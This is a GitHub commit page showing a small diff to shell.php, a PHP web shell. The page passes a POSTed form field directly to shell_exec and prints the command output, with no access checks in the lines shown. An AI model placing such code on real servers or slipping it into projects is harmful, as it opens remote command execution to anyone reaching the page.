Skip to content
This repository was archived by the owner on Sep 23, 2022. It is now read-only.

Commit a8eac62

Browse files
author
NerdOfLinux
authored
Changed to shell_exec
1 parent fa079a2 commit a8eac62

1 file changed

Lines changed: 2 additions & 1 deletion

File tree

shell.php

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,8 @@
2323
echo "<br>Current directory: $cwd<br>";
2424
$shell = $_POST['query_box'];
2525
if (!empty($_POST['query_box'])) {
26-
$run = exec("$shell");
26+
//Run the shell command
27+
$run = shell_exec("$shell");
2728
echo "<br><b>Output: </b><br>";
2829
echo "<pre>$run</pre>";
2930
}else{

0 commit comments

Comments
 (0)